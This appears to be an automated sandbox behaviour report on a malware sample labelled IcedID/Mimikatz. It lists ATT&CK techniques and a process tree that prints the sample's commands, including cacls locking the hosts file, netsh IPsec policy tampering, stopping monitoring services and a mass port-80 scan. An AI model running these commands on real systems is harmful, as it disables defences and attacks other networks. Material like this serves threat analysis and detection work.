Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	abejbmtbe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-07-24_d2ccddb5e5fe5e26bc57a7e7c8431afe_hacktools_icedid_mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vevbrhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vevbrhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yudzuibgc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2924	PING.EXE
3136	cmd.exe

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x00070000000234f5-6.dat	nsis_installer_2
behavioral2/files/0x0010000000023451-15.dat	nsis_installer_1
behavioral2/files/0x0010000000023451-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 45 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	blirnnmwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	blirnnmwb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	blirnnmwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	blirnnmwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	blirnnmwb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	blirnnmwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	blirnnmwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	blirnnmwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	blirnnmwb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	blirnnmwb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	blirnnmwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	blirnnmwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	blirnnmwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	blirnnmwb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	vevbrhb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	blirnnmwb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	blirnnmwb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	blirnnmwb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	blirnnmwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	vevbrhb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	blirnnmwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	blirnnmwb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	blirnnmwb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	blirnnmwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	blirnnmwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	blirnnmwb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	blirnnmwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	blirnnmwb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	blirnnmwb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	blirnnmwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	blirnnmwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	blirnnmwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	blirnnmwb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	blirnnmwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	blirnnmwb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	blirnnmwb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	vevbrhb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	vevbrhb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	blirnnmwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	blirnnmwb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	blirnnmwb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	blirnnmwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	vevbrhb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	vevbrhb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	blirnnmwb.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	vevbrhb.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2924	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2012	schtasks.exe
4276	schtasks.exe
4840	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
4236	2024-07-24_d2ccddb5e5fe5e26bc57a7e7c8431afe_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	4236	2024-07-24_d2ccddb5e5fe5e26bc57a7e7c8431afe_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	3588	vevbrhb.exe
Token: SeDebugPrivilege	3964	vevbrhb.exe
Token: SeDebugPrivilege	1956	vfshost.exe
Token: SeDebugPrivilege	2532	blirnnmwb.exe
Token: SeLockMemoryPrivilege	4480	yakbjd.exe
Token: SeLockMemoryPrivilege	4480	yakbjd.exe
Token: SeDebugPrivilege	1680	blirnnmwb.exe
Token: SeDebugPrivilege	4328	blirnnmwb.exe
Token: SeDebugPrivilege	32	blirnnmwb.exe
Token: SeDebugPrivilege	4936	blirnnmwb.exe
Token: SeDebugPrivilege	1496	blirnnmwb.exe
Token: SeDebugPrivilege	1140	blirnnmwb.exe
Token: SeDebugPrivilege	2916	blirnnmwb.exe
Token: SeDebugPrivilege	5068	blirnnmwb.exe
Token: SeDebugPrivilege	4236	blirnnmwb.exe
Token: SeDebugPrivilege	4348	blirnnmwb.exe
Token: SeDebugPrivilege	4492	blirnnmwb.exe
Token: SeDebugPrivilege	3364	blirnnmwb.exe
Token: SeDebugPrivilege	1920	blirnnmwb.exe
Token: SeDebugPrivilege	3472	blirnnmwb.exe
Token: SeDebugPrivilege	5108	blirnnmwb.exe
Token: SeDebugPrivilege	3384	blirnnmwb.exe
Token: SeDebugPrivilege	4992	blirnnmwb.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4236	2024-07-24_d2ccddb5e5fe5e26bc57a7e7c8431afe_hacktools_icedid_mimikatz.exe
4236	2024-07-24_d2ccddb5e5fe5e26bc57a7e7c8431afe_hacktools_icedid_mimikatz.exe
3588	vevbrhb.exe
3588	vevbrhb.exe
3964	vevbrhb.exe
3964	vevbrhb.exe
2244	xohudmc.exe
3724	mesuau.exe
624	vevbrhb.exe
624	vevbrhb.exe
60	vevbrhb.exe
60	vevbrhb.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4236 wrote to memory of 3136	4236	2024-07-24_d2ccddb5e5fe5e26bc57a7e7c8431afe_hacktools_icedid_mimikatz.exe	85
PID 4236 wrote to memory of 3136	4236	2024-07-24_d2ccddb5e5fe5e26bc57a7e7c8431afe_hacktools_icedid_mimikatz.exe	85
PID 4236 wrote to memory of 3136	4236	2024-07-24_d2ccddb5e5fe5e26bc57a7e7c8431afe_hacktools_icedid_mimikatz.exe	85
PID 3136 wrote to memory of 2924	3136	cmd.exe	87
PID 3136 wrote to memory of 2924	3136	cmd.exe	87
PID 3136 wrote to memory of 2924	3136	cmd.exe	87
PID 3136 wrote to memory of 3588	3136	cmd.exe	98
PID 3136 wrote to memory of 3588	3136	cmd.exe	98
PID 3136 wrote to memory of 3588	3136	cmd.exe	98
PID 3964 wrote to memory of 2916	3964	vevbrhb.exe	100
PID 3964 wrote to memory of 2916	3964	vevbrhb.exe	100
PID 3964 wrote to memory of 2916	3964	vevbrhb.exe	100
PID 2916 wrote to memory of 3024	2916	cmd.exe	102
PID 2916 wrote to memory of 3024	2916	cmd.exe	102
PID 2916 wrote to memory of 3024	2916	cmd.exe	102
PID 2916 wrote to memory of 4080	2916	cmd.exe	103
PID 2916 wrote to memory of 4080	2916	cmd.exe	103
PID 2916 wrote to memory of 4080	2916	cmd.exe	103
PID 2916 wrote to memory of 3988	2916	cmd.exe	104
PID 2916 wrote to memory of 3988	2916	cmd.exe	104
PID 2916 wrote to memory of 3988	2916	cmd.exe	104
PID 2916 wrote to memory of 4420	2916	cmd.exe	105
PID 2916 wrote to memory of 4420	2916	cmd.exe	105
PID 2916 wrote to memory of 4420	2916	cmd.exe	105
PID 2916 wrote to memory of 2632	2916	cmd.exe	106
PID 2916 wrote to memory of 2632	2916	cmd.exe	106
PID 2916 wrote to memory of 2632	2916	cmd.exe	106
PID 2916 wrote to memory of 3124	2916	cmd.exe	107
PID 2916 wrote to memory of 3124	2916	cmd.exe	107
PID 2916 wrote to memory of 3124	2916	cmd.exe	107
PID 3964 wrote to memory of 2784	3964	vevbrhb.exe	108
PID 3964 wrote to memory of 2784	3964	vevbrhb.exe	108
PID 3964 wrote to memory of 2784	3964	vevbrhb.exe	108
PID 3964 wrote to memory of 1224	3964	vevbrhb.exe	110
PID 3964 wrote to memory of 1224	3964	vevbrhb.exe	110
PID 3964 wrote to memory of 1224	3964	vevbrhb.exe	110
PID 3964 wrote to memory of 2080	3964	vevbrhb.exe	113
PID 3964 wrote to memory of 2080	3964	vevbrhb.exe	113
PID 3964 wrote to memory of 2080	3964	vevbrhb.exe	113
PID 3964 wrote to memory of 1368	3964	vevbrhb.exe	117
PID 3964 wrote to memory of 1368	3964	vevbrhb.exe	117
PID 3964 wrote to memory of 1368	3964	vevbrhb.exe	117
PID 1368 wrote to memory of 3568	1368	cmd.exe	119
PID 1368 wrote to memory of 3568	1368	cmd.exe	119
PID 1368 wrote to memory of 3568	1368	cmd.exe	119
PID 3568 wrote to memory of 4972	3568	wpcap.exe	120
PID 3568 wrote to memory of 4972	3568	wpcap.exe	120
PID 3568 wrote to memory of 4972	3568	wpcap.exe	120
PID 4972 wrote to memory of 800	4972	net.exe	122
PID 4972 wrote to memory of 800	4972	net.exe	122
PID 4972 wrote to memory of 800	4972	net.exe	122
PID 3568 wrote to memory of 3620	3568	wpcap.exe	123
PID 3568 wrote to memory of 3620	3568	wpcap.exe	123
PID 3568 wrote to memory of 3620	3568	wpcap.exe	123
PID 3620 wrote to memory of 1624	3620	net.exe	125
PID 3620 wrote to memory of 1624	3620	net.exe	125
PID 3620 wrote to memory of 1624	3620	net.exe	125
PID 3568 wrote to memory of 4708	3568	wpcap.exe	126
PID 3568 wrote to memory of 4708	3568	wpcap.exe	126
PID 3568 wrote to memory of 4708	3568	wpcap.exe	126
PID 4708 wrote to memory of 4668	4708	net.exe	128
PID 4708 wrote to memory of 4668	4708	net.exe	128
PID 4708 wrote to memory of 4668	4708	net.exe	128
PID 3568 wrote to memory of 3284	3568	wpcap.exe	129

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2116
- C:\Windows\TEMP\cwmulkufu\yakbjd.exe
  "C:\Windows\TEMP\cwmulkufu\yakbjd.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4480

C:\Users\Admin\AppData\Local\Temp\2024-07-24_d2ccddb5e5fe5e26bc57a7e7c8431afe_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-07-24_d2ccddb5e5fe5e26bc57a7e7c8431afe_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4236
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\ibbkgibu\vevbrhb.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3136
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2924
- - C:\Windows\ibbkgibu\vevbrhb.exe
    C:\Windows\ibbkgibu\vevbrhb.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:3588

C:\Windows\ibbkgibu\vevbrhb.exe
C:\Windows\ibbkgibu\vevbrhb.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3964
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3024
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4080
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3988
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4420
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2632
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3124
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2784
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1224
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2080
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\cbqgwgbak\glcnqktpu\wpcap.exe /S
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1368
- - C:\Windows\cbqgwgbak\glcnqktpu\wpcap.exe
    C:\Windows\cbqgwgbak\glcnqktpu\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3568
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4972
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:800
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3620
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1624
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4708
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        
        PID:4668
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:3284
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4928
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2924
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:544
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      PID:4240
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:3024
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2244
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:3828
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\cbqgwgbak\glcnqktpu\abejbmtbe.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\cbqgwgbak\glcnqktpu\Scant.txt
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2304
